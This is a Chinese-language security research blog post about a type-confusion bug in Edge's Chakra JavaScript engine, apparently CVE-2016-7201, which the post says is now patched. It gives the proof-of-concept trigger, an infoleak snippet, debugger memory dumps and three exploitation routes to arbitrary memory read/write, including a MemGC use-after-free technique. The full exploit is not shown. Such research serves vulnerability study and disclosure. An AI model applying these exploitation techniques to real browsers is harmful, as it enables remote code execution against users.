前言
在过去的两年里一直关注于浏览器方面的研究，主要以Fuzz为主，fuzzing在用户态的漏洞挖掘中，无论是漏洞质量还是CVE产出一直效果不错。直到一些大玩家的介入，以及大量的fuzzer在互联网公开，寻找bug需要更苛刻的思路。后来Edge中使用的MemGC使fuzz方式找漏洞更加困难，fuzz出仅有的几个能用的漏洞还总被其他人撞掉，因为大家的fuzzer是越长越像。于是今年上半年pwn2own之后开始更多的源码审计并有了些效果，起初认为存量足够了，但大概在7月份左右开始，手头的bug以每月2+的速度被撞掉(MS、ChakraCodeTeam、ZDI、Natalie、360…)，本文描述的bug也是其中一个。因为这个漏洞的利用方式还是比较有趣的，经历了几次改变，值得说一下。
The Bug
var intarr = new Array(1, 2, 3, 4, 5, 6, 7)
var arr = new Array(alert)
arr.length = 24
arr.__proto__ = new Proxy({}, {getPrototypeOf:function() {return intarr}})
arr.__proto__.reverse = Array.prototype.reverse
arr.reverse()
Root Cause
出问题的代码如下:
有很多地方都引用了这样的逻辑，JavascriptArray::EntryReverse只是其中的一个触发路径。开发人员默认了Array的类型，认为传入ForEachOwnMissingArrayIndexOfObject
的prototype一定是Var Array，如下图:
当然，通常一个Array赋值为proto时，会被默认转化成Var Array，例如:
var x = {}
x.__proto__ = [1,2,3]查看x的属性:
0:009> dqs 0000022f`c251e920 l1
0000022f`c251e920 00007ffd`5b743740 chakra!Js::JavascriptArray::`vftable’
0:009> dq poi(0000022f`c251e920+28)
0000022f`c23b40a0 00000003`00000000 00000000`00000011
0000022f`c23b40b0 00000000`00000000 00010000`11111111
0000022f`c23b40c0 00010000`22222222 00010000`33333333
0000022f`c23b40d0 80000002`80000002 80000002`80000002但ES6中Proxy的出现使代码逻辑变得更复杂，很多假设也不见得正确了，
Proxy的原型如下
它可以监控很多类型的事件，换句话说，可以打断一些操作过程，并处理我们自己的逻辑，返回我们自定义的数据。
其中有这样的一个handler:
可以在prototype = prototype->GetPrototype();进入trap流程，进入我们自定义的JavaScript user callback中。
如果返回一个JavascriptNativeIntArray类型的Array，则会导致默认的假设不成立，从而出现各种问题。
其实不仅是JavascriptNativeIntArray类型，只要不是JavascriptArray类型的数组，
都会因为与期望不同而或多或少出现问题，比如
JavascriptNativeFloatArray
JavascriptCopyOnAccessNativeIntArray
ES5Array…下面看看使用这种”混淆”的能力，我们能做些什么
首先重新总结下这个bug:
1.我们有两个数组，Array_A和Array_B
2.在Array_B中用Var的方式(e.GetItem())取出一个item，放入Array_A中
3.两个Array的类型可以随意指定
可以进一步转化成如下问题:
1.伪造对象:
Array_A为JavascriptArray类型
Array_B为JavascriptNativeIntArray/JavascriptNativeFloatArray等可以控制item数据
类型的数组，则
value = e.GetItem()
this->SetItem(index, value, PropertyOperation_None);操作后，在Array_A[x]中可以伪造出指向任意地址的一个Object。
2.越界读
Array_A为JavascriptArray类型
Array_B为JavascriptNativeIntArray类型
因为JavascriptNativeIntArray中元素的大小为4字节，所以通过Var的方式读取会超过Array_B的边界
为什么不在Array_A上做文章?
因为最终的赋值操作是通过SetItem完成的，即使Array_A初始化成JavascriptNativeIntArray/JavascriptNativeFloatArray等类型，最终还是会根据item的类型转换为JavascriptArray类型。
下面进入漏洞利用的部分，一个漏洞的三种利用
0x1
最初对”越界读”这个能力没有什么进一步的利用思路，而当时手头又有很多信息泄露的漏洞，于是exploit = leak + fakeObj
下面这个infoleak可以泄露任何对象的地址，当然已经被补掉了
function test() {
var x = []
var y = {}
var leakarr = new Array(1, 2, 3)
y.__defineGetter__(“1”, function(){x[2] = leakarr; return 0xdeadbeef})
x[0] = 1.1
x[2] = 2.2
x.__proto__ = y
function leak() {
alert(arguments[2])
}
leak.apply(1, x)
}要在一个固定地址处伪造对象，我们需要两个条件:
1.一个数据可控buffer的地址
2.虚表地址，也即chakra模块基址
对于1可以选择head和segment连在一起的Array
0000022f`c23b40a0 00007ffd`5b7433f0 0000022f`c2519c80
0000022f`c23b40b0 00000000`00000000 00000000`00000005
0000022f`c23b40c0 00000000`00000012 0000022f`c23b40e0
0000022f`c23b40d0 0000022f`c23b40e0 0000022f`c233c280
0000022f`c23b40e0 00000012`00000000 00000000`00000012
0000022f`c23b40f0 00000000`00000000 77777777`77777777
0000022f`c23b4100 77777777`77777777 77777777`77777777
0000022f`c23b4110 77777777`77777777 77777777`77777777
0000022f`c23b4120 77777777`77777777 77777777`77777777
0000022f`c23b4130 77777777`77777777 77777777`77777777buffer地址为leak_arr_addr+0x58，但这个方案有个限制，初始元素个数不能超过SparseArraySegmentBase::HEAD_CHUNK_SIZE
相关代码如下:
className* JavascriptArray::New(uint32 length, …)
if(length > SparseArraySegmentBase::HEAD_CHUNK_SIZE)
{
return RecyclerNew(recycler, className, length, arrayType);
}
…
array = RecyclerNewPlusZ(recycler, allocationPlusSize, className, length, arrayType);
SparseArraySegment<unitType> *head =
InitArrayAndHeadSegment<className, inlineSlots>(array, 0, alignedInlineElementSlots, true);所以在伪造对象时需要精准利用有限的空间
对于条件2，可以在1的基础上，伪造UInt64Number通过parseInt接口触发JavascriptConversion::ToString来越界读取后面的虚表，从而泄露chakra基址。
相关代码如下:
JavascriptString *JavascriptConversion::ToString(Var aValue, …)
…
case TypeIds_UInt64Number:
{
unsigned __int64 value = JavascriptUInt64Number::FromVar(aValue)->GetValue();
if (!TaggedInt::IsOverflow(value))
{
return scriptContext->GetIntegerString((uint)value);
}
else
{
return JavascriptUInt64Number::ToString(aValue, scriptContext);
}
}经过内存布局以及伪造Uint64Number，可以泄露出某个Array的vtable，如下:
最后，通过伪造Uint32Array来实现全地址读写，需要注意的是，一个Array.Segment的可控空间有限，无法写下Uint32Array及ArrayBuffer的全部字段，但其实很多字段在AAW/AAR中不会使用，并且可以复用一些字段，实现起来没有问题。
0x2
十月，能够做信息泄露的最后几个bug被Natalie撞掉…
于是有了下面的方案，配合越界读的特性，只用这一个漏洞完成exploit.
JavaScript中的Array继承自DynamicObject，其中有个字段auxSlots，如下:
class DynamicObject : public RecyclableObject
private:
Var* auxSlots;
…通常情况auxSlots为NULL，例如:
var x = [1,2,3]对应的Array头部如下，auxSlots为0
000002e7`4c15a8b0 00007ffd`5b7433f0 000002e7`4c14b040
000002e7`4c15a8c0 00000000`00000000 00000000`00000005
000002e7`4c15a8d0 00000000`00000003 000002e7`4c15a8f0
000002e7`4c15a8e0 000002e7`4c15a8f0 000002e7`4bf6f4c0当使用Symbol时会激活这个字段，例如:
var x = [1,2,3]
x[Symbol(‘duang’)] = 4
000002e7`4c152920 00007ffd`5b7433f0 000002e7`4c00ecc0
000002e7`4c152930 000002e7`4bfca5c0 00000000`00000005
000002e7`4c152940 00000000`00000003 000002e7`4c152960
000002e7`4c152950 000002e7`4c152960 000002e7`4bf6c0e0auxSlots指向一个完全可控的Var数组
0:009> dq 000002e7`4bfca5c0
000002e7`4bfca5c0 00010000`00000004 00000000`00000000
000002e7`4bfca5d0 00000000`00000000 00000000`00000000基于这个数据结构，有了如下的方案:
1.布局内存，使Array连续排列，并激活auxSlots字段
2.用越界读的特性，读出下一个Array的auxSlots并存入Array_A中
3.Array_A[x]成为伪造的对象，对象数据即为auxSlots，完全可控
在没有信息泄露的情况下，伪造一个对象需要面临的问题是”指针”，比如
– 虚表
– Type * type字段
对于虚表，可以用枚举结合特定函数的方式，”猜”出vtable的值
bool JavascriptArray::IsDirectAccessArray(Var aValue)
{
return RecyclableObject::Is(aValue) &&
(VirtualTableInfo<JavascriptArray>::HasVirtualTable(aValue) ||
VirtualTableInfo<JavascriptNativeIntArray>::HasVirtualTable(aValue) ||
VirtualTableInfo<JavascriptNativeFloatArray>::HasVirtualTable(aValue));
}在IsDirectAccessArray中会很干净的判断aValue指向的数据是否为特定的vtable，不会操作其他字段，返回结果为TRUE或FALSE。在JavascriptArray::ConcatArgs中引用了IsDirectAccessArray这个函数，并且根据它的返回结果进入不同的处理流程，最终IsDirectAccessArray的返回值可以在js层面被间接的探知到。
伪代码:
for (addr = offset_arrVtable; addr < 0xffffffffffff; addr += 0x10000) {
auxSlots[0] = addr
if (guess()) {
chakra_base = addr – offset_arrVtable
break
}
}下一步需要伪造Type * type这个指针字段，Type结构如下:
class Type
{
friend class DynamicObject;
friend class GlobalObject;
friend class ScriptEngineBase;
protected:
TypeId typeId;
TypeFlagMask flags;
JavascriptLibrary* javascriptLibrary;
RecyclableObject* prototype;
…
}其中最重要的是typeId字段，它指定了Object的类型
TypeIds_Array = 28,
TypeIds_ArrayFirst = TypeIds_Array,
TypeIds_NativeIntArray = 29,
#if ENABLE_COPYONACCESS_ARRAY
TypeIds_CopyOnAccessNativeIntArray = 30,
#endif
TypeIds_NativeFloatArray = 31,因为我们已经知道了chakra的基址，所以只要在模块内找到一个数字为29的地方即可
type_addr = chakra_base + offset_value_29最终，我们可以伪造出一个自定义的Array，进而实现AAR/AAW
0x3
目前Edge浏览器中关键的对象都是通过MemGC维护，和单纯的引用计数不同，MemGC会自动扫描对象间的依赖关系，从根本上终结了UAF类型的漏洞…
然而，真的是这样完美吗? 被MemGC保护的对象不会出现UAF吗?
有几种情况是MemGC保护不周的，其中的一种情况如下:
如图，这是一个普通的由MemGC维护的对象，addr_A指向object的头部，addr_B指向内部中间的某个位置。
Object2是另外一个由GC维护的对象，在其中有Object1的引用addr_A
此时，如果在js层面free掉Object1，并且触发CollectGarbage，会发现它并没有真的被释放。
然而，如果这样
Object2中引用的是Object1.addr_B，Object1便可以被正常释放掉，从而出现一个指向Object1内部的悬挂指针。
再通过spray等占位的方法，就可以使用Object2访问freed的内容，实现UAF利用。
构造UAF的流程如下:
1.分配由MemGC维护的Object1:
0:023> dq 000002e7`4bfe7de0
000002e7`4bfe7de0 00007ffd`5b7433f0 000002e7`4bfa1380
000002e7`4bfe7df0 00000000`00000000 00000000`00000005
000002e7`4bfe7e00 00000000`00000010 000002e7`4bfe7e20
000002e7`4bfe7e10 000002e7`4bfe7e20 000002e7`4bf6c6a0
000002e7`4bfe7e20 00000010`00000000 00000000`00000012
000002e7`4bfe7e30 00000000`00000000 77777777`77777777
000002e7`4bfe7e40 77777777`77777777 77777777`77777777
000002e7`4bfe7e50 77777777`77777777 77777777`777777772.分配由MemGC维护的Object2，其中有Object1+XXX位置的引用:
0:023> dq 000002e7`4bfe40a0
000002e7`4bfe40a0 00000003`00000000 00000000`00000011
000002e7`4bfe40b0 00000000`00000000 000002e7`4c063950
000002e7`4bfe40c0 000002e7`4bfe7de8 00010000`00000003
000002e7`4bfe40d0 80000002`80000002 80000002`80000002
000002e7`4bfe40e0 80000002`80000002 80000002`80000002
000002e7`4bfe40f0 80000002`80000002 80000002`80000002
000002e7`4bfe4100 80000002`80000002 80000002`80000002
000002e7`4bfe4110 80000002`80000002 80000002`800000023.释放Object1，并且触发CollectGarbage，可以看到被链入freelist:
0:023> dq 000002e7`4bfe7de0
000002e7`4bfe7de0 000002e7`4bfe7d41 00000000`00000000
000002e7`4bfe7df0 00000000`00000000 00000000`00000000
000002e7`4bfe7e00 00000000`00000000 00000000`00000000
000002e7`4bfe7e10 00000000`00000000 00000000`00000000
000002e7`4bfe7e20 00000000`00000000 00000000`00000000
000002e7`4bfe7e30 00000000`00000000 00000000`00000000
000002e7`4bfe7e40 00000000`00000000 00000000`00000000
000002e7`4bfe7e50 00000000`00000000 00000000`000000004.使用Object2引用释放的Object1:
0:023> dq (000002e7`4bfe40a0+0x20) l1
000002e7`4bfe40c0 000002e7`4bfe7de8要把我们的bug转换成UAF，需要完成两件事情
1.找到一个对象的”内部指针”
2.将这个指针缓存，并可以通过JS层面引用
对于1，可以使用Head与Segment连在一起的Array
000002e7`4bfe7de0 00007ffd`5b7433f0 000002e7`4bfa1380
000002e7`4bfe7df0 00000000`00000000 00000000`00000005
000002e7`4bfe7e00 00000000`00000010 000002e7`4bfe7e20 //指向对象内部的指针
000002e7`4bfe7e10 000002e7`4bfe7e20 000002e7`4bf6c6a0
000002e7`4bfe7e20 00000010`00000000 00000000`00000012
000002e7`4bfe7e30 00000000`00000000 77777777`77777777对于2，可以通过越界读的能力，将这个指针读入我们可控的Array
现在我们造出了一个UAF，接下来用什么数据结构来填充?
NativeIntArray/NativeFloatArray显然不可以，虽然数据完全可控，但目前我们无法做到信息泄露，所以数据也不知道填什么。
最后我选择了JavaScriptArray，后面会讲为何这样选择。
最终的UAF用JavaScriptArray占位成功后效果如下:
//before free&spray
0000025d`f0296a80 00007ffe`dd2b33f0 0000025d`f0423040
0000025d`f0296a90 00000000`00000000 00000000`00030005
0000025d`f0296aa0 00000000`00000010 0000025d`f0296ac0
0000025d`f0296ab0 0000025d`f0296ac0 0000025d`f021cc80
0000025d`f0296ac0 00000010`00000000 00000000`00000012
0000025d`f0296ad0 00000000`00000000 77777777`77777777
0000025d`f0296ae0 77777777`77777777 77777777`77777777
0000025d`f0296af0 77777777`77777777 77777777`77777777
0000025d`f0296b00 77777777`77777777 77777777`77777777
0000025d`f0296b10 77777777`77777777 77777777`77777777//after free&spray
0000025d`f0296a80 00000000 00000011 00000011 00000000
0000025d`f0296a90 00000000 00000000 66666666 00010000
0000025d`f0296aa0 66666666 00010000 66666666 00010000
0000025d`f0296ab0 66666666 00010000 66666666 00010000
0000025d`f0296ac0 >66666666 00010000 66666666 00010000
0000025d`f0296ad0 66666666 00010000 66666666 00010000
0000025d`f0296ae0 66666666 00010000 66666666 00010000
0000025d`f0296af0 66666666 00010000 66666666 00010000
0000025d`f0296b00 66666666 00010000 66666666 00010000
0000025d`f0296b10 66666666 00010000 66666666 00010000下面说下为何用JavaScriptArray占位。
因为Var Array可以存放对象，而判断是否为对象仅仅测试48位是否为0
(((uintptr_t)aValue) >> VarTag_Shift) == 0所以对于虚表、指针等都可以当做对象以原始形态存入Var Array，这对直接伪造出一个Object来说是极好的。
具体步骤如下:
1.通过越界读，读出下一个Array的vtable、type、segment三个字段。此时我们不知道它们具体的数值是多少，是作为对象缓存的
var JavascriptNativeIntArray_segment = objarr[0]
var JavascriptNativeIntArray_type = objarr[5]
var JavascriptNativeIntArray_vtable = objarr[6]2.构造UAF，并用fakeobj_vararr占位
0000025d`f0296a80 00000000 00000011 00000011 00000000
0000025d`f0296a90 00000000 00000000 66666666 00010000
0000025d`f0296aa0 66666666 00010000 66666666 00010000
0000025d`f0296ab0 66666666 00010000 66666666 00010000
0000025d`f0296ac0 >66666666 00010000 66666666 00010000
0000025d`f0296ad0 66666666 00010000 66666666 000100003.伪造对象
之前缓存的”内部指针”JavascriptNativeIntArray_segment指向的位置，对应fakeobj_vararr第五个元素的位置，如上所示
所以:
fakeobj_vararr[5] = JavascriptNativeIntArray_vtable
fakeobj_vararr[6] = JavascriptNativeIntArray_type
fakeobj_vararr[7] = 0
fakeobj_vararr[8] = 0x00030005
fakeobj_vararr[9] = 0x1234
fakeobj_vararr[10] = uint32arr
fakeobj_vararr[11] = uint32arr
fakeobj_vararr[12] = uint32arr4.访问伪造的对象
alert(JavascriptNativeIntArray_segment.length)Exploit:
总结
本文描述了一些chakra脚本引擎中漏洞利用的技巧，分为三种不同的利用方式来体现，三种方式并不独立，可以融合成一个更精简稳定的exploit。所描述的bug最终在十一月补丁日，pwnfest前一天，同样被Natalie撞掉了，对应的信息为CVE-2016-7201，比赛最终使用的漏洞及利用方式，会在微软完成修补后讨论。
有问题，可以联系我:
Weibo:@holynop
评论